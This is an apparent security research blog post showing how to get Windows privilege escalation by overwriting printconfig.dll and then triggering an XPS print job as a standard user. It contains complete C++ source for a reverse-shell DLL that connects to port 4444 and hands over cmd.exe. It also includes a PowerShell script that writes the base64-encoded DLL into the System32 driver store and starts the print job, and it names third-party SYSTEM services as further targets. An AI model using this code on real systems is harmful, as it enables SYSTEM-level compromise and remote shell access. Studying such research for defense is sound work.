Arbitrary File overwrite has always been considered as a critical vulnerability because it can lead in the “worst case” to privilege escalation.

In Windows systems this usually means impersonating Administrators or SYSTEM.

If a standard user is able, through some “exploit”,  to alter the permissions of special protected files –  by granting him modify or even better, full control –   he could change the contents of the target file in order to inject his malicious code in service executable, scripts, dll’s and so on..

But the “post-exploitation” attack surface has been limited over time,  for example system files are protected by a special group “Trusted Installer” and even SYSTEM/administrator have only read & execute access over them.

Until recently it was possible for an attacker to use Forshaw’s “Diaghub Collector exploit” after having successfully changed the permissions of “license.rtf” file located in System32 because this file is not protected by Trusted Installer.

Third party softwares are always an option, because usually they are not protected by “Trusted Installer”. An attacker should enumerate all installed softwares and executables, identify which run in high context and how they are configured.

A classic example is a service executable, running as SYSTEM and startable by standard users. On my HP laptop I have the “HP Software Framework Service” which meets all the requirements 😉

Another good candidate is the “Dropbox Updater Service”, it runs as a scheduled task with SYSTEM privileges (in standard installation) on hourly basis.

But what if the attacker wants to rely only  on standard Windows OS software? It’s becoming more and more difficult with MS patches but obviously there are some possibilities.. for example, remember the (patched) “ALPC Task Scheduler” exploit?

The final result was overwriting the “Printconfig.dll”,where SYSTEM has full control, start an XPS Print Job (which will load the modified Printconfig.dll)  and execute code under the SYSTEM user context. Guess what? Yes it’s still usable….

In this post I’ll show you how to “abuse” from printconfig.dll with a relatively simple all-in-one powershell script.

The “Microsoft XPS Document Writer” is a special printer driver:

“The Microsoft XPS Document Writer (MXDW) is a print-to-file driver that enables a Windows application to create XML Paper Specification (XPS) document files on versions of Windows starting with Windows XP with Service Pack 2 (SP2)” 

Back to us, this driver is located under various locations (in this case a Win 2019 server):

Immagine

The interesting one is the first file, because it’s the most recent and matches our architecture (X64).

So if we are able to get full control over this file, we can overwrite it with our modified dll, start an XPS Print Job which will load our dll and execute code as SYSTEM user ( for example a reverse shell).

I’m not going to tell you to build & compile a DLL  but will show you the relevant part of code:

#include "stdafx.h"
#include <stdio.h>

#include <winsock2.h>
#define _WINSOCK_DEPRECATED_NO_WARNINGS

using namespace std;

void Reverse()
{
WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;

STARTUPINFO sui;
PROCESS_INFORMATION pi;
launched = TRUE;
WSAStartup(MAKEWORD(2, 2), &wsaData);
s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,
(unsigned int)NULL, (unsigned int)NULL);

hax.sin_family = AF_INET;
hax.sin_port = htons(4444);
hax.sin_addr.s_addr = inet_addr("127.0.0.1");

WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;

TCHAR commandLine[256] = L"cmd.exe";
CreateProcess(NULL, commandLine, NULL, NULL, TRUE,
    0, NULL, NULL, &sui, &pi);
}
extern "C" __declspec (dllexport) bool __cdecl DllMain(_In_ HINSTANCE hinstDLL,
    _In_ DWORD     fdwReason,
    _In_ LPVOID    lpvReserved
                     )
{

    
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        
        Reverse();
        
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    
    
    
      
    return TRUE;
}

 

The DLLMain() which is always called upon loading the library will simply execute our reverse shell on localhost port 4444.

We only need to compile the DLL and convert the binary in b64 because we will insert it into our ps1 script:

$FilePath="c:\temp\my.dll"
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath)
$Base64String = [System.Convert]::ToBase64String($ByteArray)
$Base64String | Set-Content -force "out.64"

 

And now our script “xps.ps1”. We have to include some C# code because it’s easier to call and manipulate the API functions in (I put together some pieces of code just googling around):

$mycode = @"
using System;
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
namespace XPS
{
public class XpsPrint
{
public static void StartPrintJob()
{
PrintJob("Microsoft XPS Document Writer", "myjob");
}
public static void PrintJob(string printerName, string jobName)
{
IntPtr completionEvent = CreateEvent(IntPtr.Zero, true, false, null);
if (completionEvent == IntPtr.Zero)
throw new Win32Exception();
try
{
IXpsPrintJob job;
IXpsPrintJobStream jobStream;
StartJob(printerName, jobName, completionEvent, out job, out jobStream);
jobStream.Close();


}
finally
{
if (completionEvent != IntPtr.Zero)
CloseHandle(completionEvent);
}
}
private static void StartJob(string printerName, string jobName, IntPtr completionEvent, out IXpsPrintJob job, out IXpsPrintJobStream jobStream)
{
int result = StartXpsPrintJob(printerName, jobName, null, IntPtr.Zero, completionEvent,
null, 0, out job, out jobStream, IntPtr.Zero);

}
[DllImport("XpsPrint.dll", EntryPoint = "StartXpsPrintJob")]
private static extern int StartXpsPrintJob(
[MarshalAs(UnmanagedType.LPWStr)] String printerName,
[MarshalAs(UnmanagedType.LPWStr)] String jobName,
[MarshalAs(UnmanagedType.LPWStr)] String outputFileName,
IntPtr progressEvent, 
IntPtr completionEvent, 
[MarshalAs(UnmanagedType.LPArray)] byte[] printablePagesOn,
UInt32 printablePagesOnCount,
out IXpsPrintJob xpsPrintJob,
out IXpsPrintJobStream documentStream,
IntPtr printTicketStream); 
[DllImport("Kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName);
[DllImport("Kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern WAIT_RESULT WaitForSingleObject(IntPtr handle, Int32 milliseconds);
[DllImport("Kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr hObject);
}
[Guid("0C733A30-2A1C-11CE-ADE5-00AA0044773D")] 
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IXpsPrintJobStream
{
void Read([MarshalAs(UnmanagedType.LPArray)] byte[] pv, uint cb, out uint pcbRead);
void Write([MarshalAs(UnmanagedType.LPArray)] byte[] pv, uint cb, out uint pcbWritten);
void Close();
}
[Guid("5ab89b06-8194-425f-ab3b-d7a96e350161")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IXpsPrintJob
{
void Cancel();
void GetJobStatus(out XPS_JOB_STATUS jobStatus);
}
[StructLayout(LayoutKind.Sequential)]
struct XPS_JOB_STATUS
{
public UInt32 jobId;
public Int32 currentDocument;
public Int32 currentPage;
public Int32 currentPageTotal;
public XPS_JOB_COMPLETION completion;
public Int32 jobStatus; 
};
enum XPS_JOB_COMPLETION
{
XPS_JOB_IN_PROGRESS = 0,
XPS_JOB_COMPLETED = 1,
XPS_JOB_CANCELLED = 2,
XPS_JOB_FAILED = 3
}
enum WAIT_RESULT
{
WAIT_OBJECT_0 = 0,
WAIT_ABANDONED = 0x80,
WAIT_TIMEOUT = 0x102,
WAIT_FAILED = -1 
}
}

"@
## Change this according to your system:
$dllb64="..."
$targetfile="C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_e4ff50d4d5f8b2aa\Amd64\printconfig.dll"
$PEBytes = [System.Convert]::FromBase64String($dllb64)
$PEBytes | Set-Content -force $targetfile -Encoding Byte
add-type -typeDefinition $mycode
[XPS.XpsPrint]::StartPrintJob()
echo "[+] done!"
exit

In $ddlB64 variable we will assign the b64 string of our dll previously saved in “out.64”

Now, for testing purpose, as SYSTEM user, just change the perms of the “printconfig.dll” (remember to make a backup before!)

Immagine

I know, it’s ugly to grant to “everyone” full perms, but let’s go on:

Immagine

 

Yes, it definitely worked! We got a reverse shell as SYSTEM user by launching an XPS print job as a standard user with no special privileges!

In order to get rid of the File Dialog Box we could specify a file name in the  StartJob() method:

 private static void StartJob(string printerName, string jobName, IntPtr completionEvent, out IXpsPrintJob job, out IXpsPrintJobStream jobStream)
{
int result = StartXpsPrintJob(printerName, jobName,
"c:\\windows\\temp\\test.txt", IntPtr.Zero, completionEvent,
null, 0, out job, out jobStream, IntPtr.Zero);

}

 

But guess  what? You will impersonate “NT AUTHORITY\LOCAL SERVICE” instead!

Immagine2.png

In this case the “printfilterpipelinesvc.exe” , the driver which allows print spooling of XPS files, will be invoked and runs under the “LOCAL SERVICE” and not “SYSTEM” account!

Immagine

I know, you’re just thinking, “cool but how can I get to arbitrary file overwrite”? Well… stay tuned 🙂

That’s all 😉

p.s.: MS told me that they are investigating why the “Printconfig.dll” has not the expected perms and maybe fix in next release…

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s